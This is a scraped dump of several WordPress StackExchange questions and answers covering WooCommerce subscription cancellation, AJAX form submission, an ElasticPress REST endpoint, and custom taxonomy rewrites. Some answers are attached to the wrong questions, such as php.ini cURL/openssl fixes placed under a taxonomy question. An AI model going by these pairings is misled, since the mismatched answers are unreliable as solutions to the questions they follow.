} elseif (is_page($pageids)) { $fullcontent = $content; } elseif (is_single() || is_page()) { $beforecontent = get_option('codeable_textarea'); $fullcontent = $beforecontent . $content; } return $fullcontent; } ``` Any help would be gratefully received!!
The earliest action you can use is 'wp'. You can read more about it here: [Action WP](https://codex.wordpress.org/Plugin_API/Action_Reference/wp).
292,149
<p>I am in the process of building a membership/subscription based site for a client of mine and they are using woocommerce subscriptions (<a href="https://woocommerce.com/products/woocommerce-subscriptions" rel="nofollow noreferrer">https://woocommerce.com/products/woocommerce-subscriptions</a>). Now the problem is the client is building a few promo pages which basically allows the user to purchase an upgrade. Now, this is fine but the client only wants a customer to only have one subscription (and associating membership [<a href="https://woocommerce.com/products/woocommerce-memberships/]" rel="nofollow noreferrer">https://woocommerce.com/products/woocommerce-memberships/]</a>) at any one time. </p> <p>So the agreed solution is that, on a purchase of any new subscription/product, all other subscriptions should be cancelled. All associated membership deleted/cancelled and only the latest subscription should remain active with its accompanying membership. </p> <p>So I have tried to build this solution but it is just not working, so any advise/direction would be most welcome!</p> <pre><code>function wp56908_new_order_housekeeping ($order_id) { $args = array( 'subscriptions_per_page' =&gt; -1, 'customer_id' =&gt; get_current_user_id(), ); $subscriptions = wcs_get_subscriptions($args); foreach ($subscriptions as $subscription) { $s_order_id = method_exists( $subscription, 'get_parent_id' ) ? $subscription-&gt;get_parent_id() : $subscription-&gt;order-&gt;id; if ($s_order_id != $order_id) { $cancel_note = 'Customer purchased new subscription in order #' . $order_id; $subscription-&gt;update_status( 'cancelled', $cancel_note ); } } } </code></pre>
[ { "answer_id": 292099, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 1, "selected": false, "text": "<p>The <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/template_redirect\" rel=\"nofollow noreferrer\"><code>template_redirect</code> action</a> could be appropriate for this.</p>\n\n<blockquote>\n <p>This action hook executes just before WordPress determines which template page to load. It is a good hook to use if you need to do a redirect with full knowledge of the content that has been queried.</p>\n</blockquote>\n\n<p>You can see where this occurs in the request process in the <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference#Actions_Run_During_a_Typical_Request\" rel=\"nofollow noreferrer\">Action Reference</a>.</p>\n" }, { "answer_id": 292101, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 3, "selected": true, "text": "<p>The earliest action you can use is 'wp'. You can read more about it here: <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/wp\" rel=\"nofollow noreferrer\">Action WP</a>.</p>\n" } ]
2018/01/25
[ "https://wordpress.stackexchange.com/questions/292149", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/110204/" ]
I am in the process of building a membership/subscription based site for a client of mine and they are using woocommerce subscriptions (<https://woocommerce.com/products/woocommerce-subscriptions>). Now the problem is the client is building a few promo pages which basically allows the user to purchase an upgrade. Now, this is fine but the client only wants a customer to only have one subscription (and associating membership [<https://woocommerce.com/products/woocommerce-memberships/]>) at any one time. So the agreed solution is that, on a purchase of any new subscription/product, all other subscriptions should be cancelled. All associated membership deleted/cancelled and only the latest subscription should remain active with its accompanying membership. So I have tried to build this solution but it is just not working, so any advise/direction would be most welcome! ``` function wp56908_new_order_housekeeping ($order_id) { $args = array( 'subscriptions_per_page' => -1, 'customer_id' => get_current_user_id(), ); $subscriptions = wcs_get_subscriptions($args); foreach ($subscriptions as $subscription) { $s_order_id = method_exists( $subscription, 'get_parent_id' ) ? $subscription->get_parent_id() : $subscription->order->id; if ($s_order_id != $order_id) { $cancel_note = 'Customer purchased new subscription in order #' . $order_id; $subscription->update_status( 'cancelled', $cancel_note ); } } } ```
The earliest action you can use is 'wp'. You can read more about it here: [Action WP](https://codex.wordpress.org/Plugin_API/Action_Reference/wp).
292,151
<p>I have a custom PHP template - form. I'm trying to send this form in the same page using AJAX without reloading the page. Hide the form after submission and display the <code>thank you</code> message. This form is displayed in a modal. But what happens is that the page is still reloading.</p> <p><strong>HTML</strong></p> <pre><code>&lt;form method="POST" action="" name="modalForm" id="modalForm" enctype="multipart/form-data" autocomplete="off"&gt; &lt;input placeholder="Last Name*" type="text" name="lastName" id="lastName" value="" required&gt; &lt;label class="error" for="name" id="lastName_error"&gt;This field is required.&lt;/label&gt; &lt;input placeholder="First Name*" type="text" name="firstName" id="firstName" value="" required&gt; &lt;label class="error" for="name" id="firstName_error"&gt;This field is required.&lt;/label&gt; &lt;input placeholder="Email Address" type="email" name="Email" id="Email" onblur="this.setAttribute('value', this.value);" value="" required&gt; &lt;label class="error" for="email" id="email_error"&gt;This field is required.&lt;/label&gt; &lt;span class="validation-text"&gt;Please enter a valid email address.&lt;/span&gt; &lt;input placeholder="Mobile Number*" type="text" name="contactNumber" id="contactNumber" onkeypress="return isNumberKey(event)" value="" size="11" minlength="11" maxlength="11" pattern ="^09\d{9}$" required&gt; &lt;label class="error" for="contactNumber" id="contactNumber_error"&gt;This field is required.&lt;/label&gt; &lt;input type="submit" name="submit" value="Submit" id="form-submit"&gt; &lt;/form&gt; </code></pre> <p><strong>JS</strong></p> <pre><code> (function($) { $('.error').hide(); $(".button").click(function() { // validate and process form here $('.error').hide(); var name = $("input#lastName").val(); if (lastName == "") { $("label#lastName_error").show(); $("input#lastName").focus(); return false; } var name = $("input#firstName").val(); if (lastName == "") { $("label#firstName_error").show(); $("input#firstName").focus(); return false; } var email = $("input#Email").val(); if (Email == "") { $("label#email_error").show(); $("input#Email").focus(); return false; } var phone = $("input#contactNumber").val(); if (contactNumber == "") { $("label#contactNumber_error").show(); $("input#contactNumber").focus(); return false; } }); var dataString = 'lastName='+ lastName + '&amp;Email=' + Email + '&amp;contactNumber=' + contactNumber; //alert (dataString);return false; $.ajax({ type: "POST", url: "/wordpress-page/", data: dataString, success: function() { $('#modalForm').html("&lt;div id='message'&gt;&lt;/div&gt;"); $('#message').html("&lt;h2&gt;Contact Form Submitted!&lt;/h2&gt;") .append("&lt;p&gt;We will be in touch soon.&lt;/p&gt;") .hide() .fadeIn(1500, function() { $('#message').append("&lt;img id='checkmark' src='images/check.png' /&gt;"); }); } }); return false; }); </code></pre>
[ { "answer_id": 292167, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>Your jQuery event is bound to elements with the class <code>submit</code>, but your submit button in the form doesn't have that class.</p>\n\n<p>Either add that class to the submit button, or just target the form itself. Simply change</p>\n\n<pre><code>$(\".button\").click(function() {\n</code></pre>\n\n<p>to</p>\n\n<pre><code>$(\"#modalForm\").submit(function() {\n</code></pre>\n\n<p>This will fire when the form is submitted, whether the user clicks the submit button or simply hits enter in a text field.</p>\n" }, { "answer_id": 395983, "author": "Aditya Agarwal", "author_id": 166927, "author_profile": "https://wordpress.stackexchange.com/users/166927", "pm_score": -1, "selected": false, "text": "<p>I faced the same problem when building my own Frontend Form.</p>\n<p>Here's how to solve it, form has the default tendenacy to submit itself and reload. We not to stop that and use AJAX to submit the data.</p>\n<p>A lot depends upon other functions to. But generally speaking this should work.</p>\n<pre><code>$(&quot;.button&quot;).click(function(e) {\n e.preventDefault();\n $('.error').hide();\n var name = $(&quot;input#lastName&quot;).val();\n if (lastName == &quot;&quot;) {\n $(&quot;label#lastName_error&quot;).show();\n $(&quot;input#lastName&quot;).focus();\n return false;\n }\n var name = $(&quot;input#firstName&quot;).val();\n if (lastName == &quot;&quot;) {\n $(&quot;label#firstName_error&quot;).show();\n $(&quot;input#firstName&quot;).focus();\n return false;\n }\n var email = $(&quot;input#Email&quot;).val();\n if (Email == &quot;&quot;) {\n $(&quot;label#email_error&quot;).show();\n $(&quot;input#Email&quot;).focus();\n return false;\n }\n var phone = $(&quot;input#contactNumber&quot;).val();\n if (contactNumber == &quot;&quot;) {\n $(&quot;label#contactNumber_error&quot;).show();\n $(&quot;input#contactNumber&quot;).focus();\n return false;\n }\n\n });\n\n var dataString = 'lastName='+ lastName + '&amp;Email=' + Email + '&amp;contactNumber=' + contactNumber;\n //alert (dataString);return false;\n $.ajax({\n type: &quot;POST&quot;,\n url: &quot;/wordpress-page/&quot;,\n data: dataString,\n success: function() {\n $('#modalForm').html(&quot;&lt;div id='message'&gt;&lt;/div&gt;&quot;);\n $('#message').html(&quot;&lt;h2&gt;Contact Form Submitted!&lt;/h2&gt;&quot;)\n .append(&quot;&lt;p&gt;We will be in touch soon.&lt;/p&gt;&quot;)\n .hide()\n .fadeIn(1500, function() {\n $('#message').append(&quot;&lt;img id='checkmark' src='images/check.png' /&gt;&quot;);\n });\n }\n });\n return false;\n});\n\n\n</code></pre>\n" } ]
2018/01/25
[ "https://wordpress.stackexchange.com/questions/292151", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/54602/" ]
I have a custom PHP template - form. I'm trying to send this form in the same page using AJAX without reloading the page. Hide the form after submission and display the `thank you` message. This form is displayed in a modal. But what happens is that the page is still reloading. **HTML** ``` <form method="POST" action="" name="modalForm" id="modalForm" enctype="multipart/form-data" autocomplete="off"> <input placeholder="Last Name*" type="text" name="lastName" id="lastName" value="" required> <label class="error" for="name" id="lastName_error">This field is required.</label> <input placeholder="First Name*" type="text" name="firstName" id="firstName" value="" required> <label class="error" for="name" id="firstName_error">This field is required.</label> <input placeholder="Email Address" type="email" name="Email" id="Email" onblur="this.setAttribute('value', this.value);" value="" required> <label class="error" for="email" id="email_error">This field is required.</label> <span class="validation-text">Please enter a valid email address.</span> <input placeholder="Mobile Number*" type="text" name="contactNumber" id="contactNumber" onkeypress="return isNumberKey(event)" value="" size="11" minlength="11" maxlength="11" pattern ="^09\d{9}$" required> <label class="error" for="contactNumber" id="contactNumber_error">This field is required.</label> <input type="submit" name="submit" value="Submit" id="form-submit"> </form> ``` **JS** ``` (function($) { $('.error').hide(); $(".button").click(function() { // validate and process form here $('.error').hide(); var name = $("input#lastName").val(); if (lastName == "") { $("label#lastName_error").show(); $("input#lastName").focus(); return false; } var name = $("input#firstName").val(); if (lastName == "") { $("label#firstName_error").show(); $("input#firstName").focus(); return false; } var email = $("input#Email").val(); if (Email == "") { $("label#email_error").show(); $("input#Email").focus(); return false; } var phone = $("input#contactNumber").val(); if (contactNumber == "") { $("label#contactNumber_error").show(); $("input#contactNumber").focus(); return false; } }); var dataString = 'lastName='+ lastName + '&Email=' + Email + '&contactNumber=' + contactNumber; //alert (dataString);return false; $.ajax({ type: "POST", url: "/wordpress-page/", data: dataString, success: function() { $('#modalForm').html("<div id='message'></div>"); $('#message').html("<h2>Contact Form Submitted!</h2>") .append("<p>We will be in touch soon.</p>") .hide() .fadeIn(1500, function() { $('#message').append("<img id='checkmark' src='images/check.png' />"); }); } }); return false; }); ```
Your jQuery event is bound to elements with the class `submit`, but your submit button in the form doesn't have that class. Either add that class to the submit button, or just target the form itself. Simply change ``` $(".button").click(function() { ``` to ``` $("#modalForm").submit(function() { ``` This will fire when the form is submitted, whether the user clicks the submit button or simply hits enter in a text field.
292,164
<p>The AJAX, which is part of Elasticpress, looks like this</p> <pre><code>$.ajax( { url: epas.endpointUrl, type: 'GET', dataType: 'json', crossDomain: true, data: JSON.stringify( query ) } ); </code></pre> <p>Additionally I registered my endpoint</p> <pre><code>add_action( 'rest_api_init', function ( $data ) { register_rest_route( 'elasticpress', '/autosuggest/', [ 'methods' =&gt; 'GET', 'callback' =&gt; 'ep_autosuggest' ] ); } ); </code></pre> <p>The callback looks like this</p> <pre><code>function ep_autosuggest( $data ) { // Elasticsearch PHP Client $client = ClientBuilder::create()-&gt;build(); $params = [ 'index' =&gt; 'index', 'type' =&gt; 'post', 'body' =&gt; $data ]; $response = $client-&gt;search( $params ); return $response; } </code></pre> <p>The different parts work as they should. I'm struggling with getting the data from the passed object. Any ideas?</p>
[ { "answer_id": 292174, "author": "Nicolai Grossherr", "author_id": 22534, "author_profile": "https://wordpress.stackexchange.com/users/22534", "pm_score": 4, "selected": true, "text": "<p>After some inspecting the <a href=\"https://developer.wordpress.org/reference/classes/wp_rest_request/\" rel=\"nofollow noreferrer\">WP_REST_Request</a>, it turned out, that the <code>get_body()</code> method was the one I'm looking for. Anyhow, this is what I ended up with:</p>\n\n<pre><code>add_action( 'rest_api_init', function() {\n register_rest_route( 'ep', '/as/', [\n 'methods' =&gt; \\WP_REST_Server::CREATABLE,\n 'callback' =&gt; 'ep_autosuggest',\n ] );\n} );\nfunction ep_autosuggest( WP_REST_Request $data ) {\n // Elasticsearch PHP Client\n $client = ClientBuilder::create()-&gt;build();\n $params = [\n 'index' =&gt; 'ep-test',\n 'type' =&gt; 'post',\n 'body' =&gt; $data-&gt;get_body()\n ];\n $response = $client-&gt;search( $params );\n return $response;\n}\n</code></pre>\n\n<p>For anyone interested, I made a plugin out of it: </p>\n\n<p><a href=\"https://github.com/grossherr/elasticpress-autosuggest-endpoint\" rel=\"nofollow noreferrer\">https://github.com/grossherr/elasticpress-autosuggest-endpoint</a></p>\n" }, { "answer_id": 318303, "author": "Dmitriy", "author_id": 153465, "author_profile": "https://wordpress.stackexchange.com/users/153465", "pm_score": 2, "selected": false, "text": "<p>Thanks for the plugin Nicolai! Just wanted to point out a couple of things that weren't clear to me:</p>\n\n<p>Once the plugin is installed, modify ep_autosuggest() in elasticpress-autosuggest-endpoint.php:</p>\n\n<pre><code>$params = [\n 'index' =&gt; ep_get_index_name(), // get name of ES index dynamically\n 'type' =&gt; 'post',\n 'body' =&gt; $data-&gt;get_body()\n];\n</code></pre>\n\n<p>Then, use http(s)://yourdomainname.com/wp-json/elasticpress/autosuggest/ (or whatever is specified in register_rest_route()) as the endpoint URL in the admin / ElasticPresss / Autosuggest / Settings.</p>\n" } ]
2018/01/25
[ "https://wordpress.stackexchange.com/questions/292164", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/22534/" ]
The AJAX, which is part of Elasticpress, looks like this ``` $.ajax( { url: epas.endpointUrl, type: 'GET', dataType: 'json', crossDomain: true, data: JSON.stringify( query ) } ); ``` Additionally I registered my endpoint ``` add_action( 'rest_api_init', function ( $data ) { register_rest_route( 'elasticpress', '/autosuggest/', [ 'methods' => 'GET', 'callback' => 'ep_autosuggest' ] ); } ); ``` The callback looks like this ``` function ep_autosuggest( $data ) { // Elasticsearch PHP Client $client = ClientBuilder::create()->build(); $params = [ 'index' => 'index', 'type' => 'post', 'body' => $data ]; $response = $client->search( $params ); return $response; } ``` The different parts work as they should. I'm struggling with getting the data from the passed object. Any ideas?
After some inspecting the [WP\_REST\_Request](https://developer.wordpress.org/reference/classes/wp_rest_request/), it turned out, that the `get_body()` method was the one I'm looking for. Anyhow, this is what I ended up with: ``` add_action( 'rest_api_init', function() { register_rest_route( 'ep', '/as/', [ 'methods' => \WP_REST_Server::CREATABLE, 'callback' => 'ep_autosuggest', ] ); } ); function ep_autosuggest( WP_REST_Request $data ) { // Elasticsearch PHP Client $client = ClientBuilder::create()->build(); $params = [ 'index' => 'ep-test', 'type' => 'post', 'body' => $data->get_body() ]; $response = $client->search( $params ); return $response; } ``` For anyone interested, I made a plugin out of it: <https://github.com/grossherr/elasticpress-autosuggest-endpoint>
292,188
<p>I've been working with Custom Post Types and Custom Taxonomies for ages but one thing I can never get right are the rewrites when applying a shared taxonomy to multiple CPTs.</p> <p>For instance, I have CPTs for 'Events' and 'Courses'. Each has individual taxonomies and also one shared taxonomy.</p> <p>The individual taxonomies work fine: </p> <ul> <li>Events with a specific topic: <code>/events/topic/{term}/</code></li> <li>Courses of a specific type: <code>/courses/type/{term}/</code></li> </ul> <p>However, I have a shared taxonomy called 'Accessibility Criteria'. With the custom taxonomy defined as it is below, I want (and would expect) to be able to filter each CPT by the shared taxonomy at different URLs:</p> <ul> <li>Events with specific accessibility criteria: <code>/events/accessibility/{term}/</code></li> <li>Courses with specific accessibility criteria: <code>/courses/accessibility/{term}/</code></li> </ul> <p>But whenever I try and use /events/accessibility/{term}/ it gets rewritten as <code>/accessibility/{term}/</code>. Surprisingly (to me), the context is actually retained correctly e.g. if I trigger the taxonomy from the Events archive then only Event CPTs are shown, so the end-user experience still works fine. However, it doesn't sit comfortably with me as I feel it should work differently (as well as potentially better SEO etc).</p> <p>I have defined the custom taxonomies before defining the CPTs as I have read that affects the ability of a CPT to use the taxonomy rewrite.</p> <p>Any help much appreciated.</p> <pre><code>$labels = array( "name" =&gt; __('Accessibility Criteria', ''), "singular_name" =&gt; __('Accessibility Criteria', ''), "add_new_item" =&gt; __('Add Accessibility Criteria', ''), "new_item_name" =&gt; __('Add Accessibility Criteria', ''), "edit_item" =&gt; __('Edit Accessibility Criteria', ''), "view_item" =&gt; __('View Accessibility Criteria', ''), "update_item" =&gt; __('Update Accessibility Criteria', ''), "parent_item" =&gt; __('Parent Criteria', '') ); $args = array( "label" =&gt; __('Accessibility Criteria', ''), "labels" =&gt; $labels, "public" =&gt; true, "hierarchical" =&gt; true, "label" =&gt; "Accessibility Criteria", "show_ui" =&gt; true, "show_in_menu" =&gt; true, "show_in_nav_menus" =&gt; false, "capabilities" =&gt; array( 'manage_terms' =&gt; 'manage_accessibility_criteria', 'edit_terms' =&gt; 'edit_accessibility_criteria', 'delete_terms' =&gt; 'delete_accessibility_criteria', 'assign_terms' =&gt; 'assign_accessibility_criteria' ), "query_var" =&gt; 'accessibility_criteria', "rewrite" =&gt; array('slug' =&gt; 'accessibility', 'with_front' =&gt; true), "show_admin_column" =&gt; true, "show_in_rest" =&gt; false, "rest_base" =&gt; "", "show_in_quick_edit" =&gt; true, ); register_taxonomy("accessibility_criteria", array("event", "course"), $args); </code></pre>
[ { "answer_id": 292185, "author": "swissspidy", "author_id": 12404, "author_profile": "https://wordpress.stackexchange.com/users/12404", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://codex.wordpress.org/HTTP_API\" rel=\"nofollow noreferrer\">The WordPress HTTP API</a> has been built in such a way that it works on many servers as possible, trying out different ways (transports) to do so.</p>\n\n<p>According to the error message, there are no working transports and thus WordPress is not able to make any outgoing HTTP requests.</p>\n\n<p>I'd recommend you to install something like the <a href=\"https://wordpress.org/plugins/core-control/\" rel=\"nofollow noreferrer\">Core Control</a> WordPress plugin, which allows you to debug all the existing HTTP transports. It's quite possible that while one transport is not working, another might be OK. This plugin allows you to disable the broken one and test the HTTP API with the new transport.</p>\n\n<p>If it turns out that indeed none of the transports are working, you should contact your hosting provider to at least install something like cURL on the server so you can make HTTP requests in PHP.</p>\n" }, { "answer_id": 301227, "author": "Ashish Madhavacharya", "author_id": 142052, "author_profile": "https://wordpress.stackexchange.com/users/142052", "pm_score": 5, "selected": false, "text": "<p>The WordPress site was mostly working without a problem except in a dashboard section of the site, where it was having some issues with updating or installing. When I tried to install theme,it gave me error <strong>\"Installation failed: Download failed. No working transports found\".</strong></p>\n\n<p>Fortunately, i fixed the problem with following <strong>solution</strong>.</p>\n\n<p>It turns out, this error message occurs when there are <strong>missing extensions</strong> on a development server, so the WordPress is unable to make external HTTP requests. </p>\n\n<p>The solution is pretty simple. The missing extensions that make those HTTP requests possible are already installed with Wamp Server, By default,they are just disabled. To enable them, we need to <strong>edit the php.ini configuration file.</strong></p>\n\n<p><strong>Editing php.ini file</strong></p>\n\n<p>The php.ini file contains a list of many extensions with some of them disabled by default. The only one I had to enable was the <strong><em>openssl extension.</em></strong></p>\n\n<p><strong><em>Here are the steps to enable that extension:</em></strong></p>\n\n<ol>\n<li>Start Wamp Server.</li>\n<li>click on Wamp Server Icon and move to PHP->php.ini option.</li>\n<li>double click on php.ini. so, it will open php.ini file in your default Text Editor.</li>\n<li>search for <strong>php_openssl.dll</strong> in php.ini file.\n->You Will see that the extension is commented out:\n;extension=php_openssl.dll</li>\n<li>Uncomment that line by removing semi colon(;)</li>\n<li>save the changes.</li>\n<li>Restart Wamp Server.</li>\n</ol>\n\n<p>That's it We Are Done!!!</p>\n" }, { "answer_id": 310255, "author": "Carel", "author_id": 147891, "author_profile": "https://wordpress.stackexchange.com/users/147891", "pm_score": 1, "selected": false, "text": "<p>The advice on this error message is quite varied and no one seems to provide a comprehensive answer (See <a href=\"https://www.barrykooij.com/unable-to-install-plugins-on-localhost/\" rel=\"nofollow noreferrer\">some blog</a>, <a href=\"https://www.howtosolutions.net/2017/01/easyphp-wordpress-no-working-transports-found-error/\" rel=\"nofollow noreferrer\">a duplicitous answer</a> and <a href=\"https://stackoverflow.com/q/27725182\">here</a> and <a href=\"https://stackoverflow.com/a/27731933\">here</a> on SO). Hopefully this is a more formal take on the problem.</p>\n\n<p>I consider only WordPress on PHP served via Apache (I can not comment on NginX at this time as I haven't tried it with PHP, nor can I comment upon other frameworks). The answer may exhibit a mild bias towards Windows 10 with a self built Apache 2.4.37, extracted thread safe PHP 7.2 and WordPress 4.2.X.</p>\n\n<h2>Background</h2>\n\n<p><a href=\"https://deliciousbrains.com/php-curl-how-wordpress-makes-http-requests/\" rel=\"nofollow noreferrer\">PHP and cURL</a> explains, rather nicely one might add, that under the hood WordPress relies upon <code>Requests</code>, a wrapper around the <code>cURL</code> and <code>fSockets</code> libraries. <code>Requests</code> prefers the <code>cURL</code> library if available but will supposedly fall back to the <code>fSockets</code> library to download Plugins/Themes/etc. The \"No transports\" error is indicative that neither library is properly configured within either Apache or PHP. It is also possible ones firewall is interfering with the process too.</p>\n\n<h2>Check</h2>\n\n<p>Test the configuration of both Apache and PHP setting up and loading the standard <a href=\"http://php.net/manual/en/function.phpinfo.php#refsect1-function.phpinfo-examples\" rel=\"nofollow noreferrer\">PHPinfo</a> script from your browser. This should have a separate section entitled <code>cURL</code> whose entries show various information. Otherwise setup and load the following script to check.</p>\n\n<pre><code>&lt;?php\necho 'Curl: ', function_exists('curl_init') ? 'Enabled' : 'Disabled';\n?&gt;\n</code></pre>\n\n<p>I do not know how to test <code>fScokets</code>.</p>\n\n<h2>cURL</h2>\n\n<p>To ensure the availability of <code>cURL</code> is seems necessary to enable it within <code>php.ini</code>.</p>\n\n<ul>\n<li><p>Ensure that the <code>extentions_dir</code> correctly points to ones extensions folder</p>\n\n<p><code>extentions_dir=\"ext\"</code></p>\n\n<p>(Alternatively <code>extentions_dir=\"D:PATH/TO/php/ext\"</code> is often suggested)</p></li>\n<li><p>Ensure that the <code>cURL</code> extention is enabled</p>\n\n<p><code>extension=curl</code> </p>\n\n<p>(<code>extentions=php_curl(.so|.dll)</code> or <code>extentions=\"PATH/TO/php_curl(.so|.dll)\"</code> are also suggested, possibly for PHP&lt;7.2)</p></li>\n<li><p>From <a href=\"http://php.net/manual/en/curl.installation.php\" rel=\"nofollow noreferrer\">PHP</a> it seems that the <code>eay32</code>, <code>ssh2</code> and <code>ssleay32</code> libraries must also be available upon ones path (With OpenSSL 1.1 <code>eay32</code> was renamed <code>crypto-*</code> and <code>ssleay32</code> was renamed <code>ssl-*</code>). Upon windows the ugly hack is to copy these libraries from the PHP root folder into the <code>system32</code> or <code>wow64</code> folder. The better solution is to modify ones path variable to include the PHP root folder (Personally I prefer a clean path that I configure as required but this is PHP). On *nix boxes it seems one simply needs to install the <code>php5-curl</code> package for ones distro.</p>\n\n<p><strong>Note :</strong> The comments on the <a href=\"http://php.net/manual/en/curl.installation.php\" rel=\"nofollow noreferrer\">PHP</a> page suggest that one may simply add <code>LoadFile \"PATH/TO/lib(eay32|ssh2)|ssleay32.dll\"</code> entries to ones <code>httpd.conf</code> but <code>cURL</code> seems to search for these libraries upon ones path; mooting the suggestion. The XAmpp/Wamp people get away with this step as they seem to dump their own root on ones system path.</p></li>\n</ul>\n\n<p>Once done restart Apache. If you're using Apache monitor you should actually stop and then start Apache; this sets up a new environment for the service to run in (Saving you a restart). </p>\n\n<h2>fSockets</h2>\n\n<p>I do not know what is necessary to get this going.</p>\n" }, { "answer_id": 377547, "author": "Marty McGee", "author_id": 28188, "author_profile": "https://wordpress.stackexchange.com/users/28188", "pm_score": 2, "selected": false, "text": "<p>I was getting this error because my PHP (<code>php.ini</code>) did not have the &quot;cURL&quot; extension activated. I simply activated this extension and restarted the server. Solved.</p>\n<p>Note: this is a similar answer to &quot;Ashish Madhavacharya&quot; above, but specifically solved by activating the <code>php_curl.dll</code> extension (and not the openssl extension, which should have nothing to do with this error you're receiving.)</p>\n" }, { "answer_id": 383647, "author": "draenog", "author_id": 202147, "author_profile": "https://wordpress.stackexchange.com/users/202147", "pm_score": 1, "selected": false, "text": "<p>I had the same problem and the fixes above did not help. I found <a href=\"http://forum.wampserver.com/read.php?2,154251\" rel=\"nofollow noreferrer\">a page</a> on the WAMP forum where someone fixed it by upgrading to the latest Apache. I tried this and it worked for me.</p>\n" }, { "answer_id": 402204, "author": "tash", "author_id": 218763, "author_profile": "https://wordpress.stackexchange.com/users/218763", "pm_score": 0, "selected": false, "text": "<p>Posting my hack here for future Googlers:</p>\n<p>I downloaded the plugin zip file from respective vendors' sites, put it in <code>/var/www/html/wp-content/plugins/</code>, unzipped it, and activated it from within WordPress dashboard.</p>\n<hr />\n<p>I was compelled to do the above because once I enabled <code>;extension=openssl</code> from <code>php.ini</code> and restarted the php server, it could not locate the <code>openssl.so</code> although I compiled php <code>--with-openssl</code> flag.</p>\n" } ]
2018/01/25
[ "https://wordpress.stackexchange.com/questions/292188", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/121233/" ]
I've been working with Custom Post Types and Custom Taxonomies for ages but one thing I can never get right are the rewrites when applying a shared taxonomy to multiple CPTs. For instance, I have CPTs for 'Events' and 'Courses'. Each has individual taxonomies and also one shared taxonomy. The individual taxonomies work fine: * Events with a specific topic: `/events/topic/{term}/` * Courses of a specific type: `/courses/type/{term}/` However, I have a shared taxonomy called 'Accessibility Criteria'. With the custom taxonomy defined as it is below, I want (and would expect) to be able to filter each CPT by the shared taxonomy at different URLs: * Events with specific accessibility criteria: `/events/accessibility/{term}/` * Courses with specific accessibility criteria: `/courses/accessibility/{term}/` But whenever I try and use /events/accessibility/{term}/ it gets rewritten as `/accessibility/{term}/`. Surprisingly (to me), the context is actually retained correctly e.g. if I trigger the taxonomy from the Events archive then only Event CPTs are shown, so the end-user experience still works fine. However, it doesn't sit comfortably with me as I feel it should work differently (as well as potentially better SEO etc). I have defined the custom taxonomies before defining the CPTs as I have read that affects the ability of a CPT to use the taxonomy rewrite. Any help much appreciated. ``` $labels = array( "name" => __('Accessibility Criteria', ''), "singular_name" => __('Accessibility Criteria', ''), "add_new_item" => __('Add Accessibility Criteria', ''), "new_item_name" => __('Add Accessibility Criteria', ''), "edit_item" => __('Edit Accessibility Criteria', ''), "view_item" => __('View Accessibility Criteria', ''), "update_item" => __('Update Accessibility Criteria', ''), "parent_item" => __('Parent Criteria', '') ); $args = array( "label" => __('Accessibility Criteria', ''), "labels" => $labels, "public" => true, "hierarchical" => true, "label" => "Accessibility Criteria", "show_ui" => true, "show_in_menu" => true, "show_in_nav_menus" => false, "capabilities" => array( 'manage_terms' => 'manage_accessibility_criteria', 'edit_terms' => 'edit_accessibility_criteria', 'delete_terms' => 'delete_accessibility_criteria', 'assign_terms' => 'assign_accessibility_criteria' ), "query_var" => 'accessibility_criteria', "rewrite" => array('slug' => 'accessibility', 'with_front' => true), "show_admin_column" => true, "show_in_rest" => false, "rest_base" => "", "show_in_quick_edit" => true, ); register_taxonomy("accessibility_criteria", array("event", "course"), $args); ```
The WordPress site was mostly working without a problem except in a dashboard section of the site, where it was having some issues with updating or installing. When I tried to install theme,it gave me error **"Installation failed: Download failed. No working transports found".** Fortunately, i fixed the problem with following **solution**. It turns out, this error message occurs when there are **missing extensions** on a development server, so the WordPress is unable to make external HTTP requests. The solution is pretty simple. The missing extensions that make those HTTP requests possible are already installed with Wamp Server, By default,they are just disabled. To enable them, we need to **edit the php.ini configuration file.** **Editing php.ini file** The php.ini file contains a list of many extensions with some of them disabled by default. The only one I had to enable was the ***openssl extension.*** ***Here are the steps to enable that extension:*** 1. Start Wamp Server. 2. click on Wamp Server Icon and move to PHP->php.ini option. 3. double click on php.ini. so, it will open php.ini file in your default Text Editor. 4. search for **php\_openssl.dll** in php.ini file. ->You Will see that the extension is commented out: ;extension=php\_openssl.dll 5. Uncomment that line by removing semi colon(;) 6. save the changes. 7. Restart Wamp Server. That's it We Are Done!!!
292,201
